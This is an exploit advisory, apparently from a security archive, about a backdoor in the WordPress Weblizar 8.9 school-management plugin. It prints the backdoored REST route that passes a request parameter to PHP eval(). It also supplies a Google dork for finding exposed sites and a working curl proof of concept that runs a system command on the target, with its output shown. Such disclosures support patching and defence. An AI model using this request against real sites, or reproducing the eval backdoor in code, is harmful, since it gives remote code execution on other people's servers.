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WordPress Weblizar 8.9 Code Execution

WordPress Weblizar 8.9 Code Execution
Posted Jun 27, 2022
Authored by Sobhan Mahmoodi

WordPress Weblizar plugin version 8.9 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 9b7cc4a093eb84aa51b7844130d86d8859b2c2b7771568a1c31d4b1df1daad25

WordPress Weblizar 8.9 Code Execution

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# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
# Google Dork: 'wp-json/am-member/license'
# Exploit Author: Sobhan Mahmoodi
# Vendor Homepage: https://weblizar.com/plugins/school-management/
# Version: 8.9
# Tested on: windows/linux

Vulnerable code:

add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty(
$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )
) {
eval( $args['blowf'] );
}
};
)
);
} );


If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.

In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and
given that eval executes the blowf value , Our favorite command must also be in this argument.

Proof of Concept:

curl -s -d 'blowfish=1' -d "blowf=system('id');" '
http://localhost:8888/wp-json/am-member/license'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

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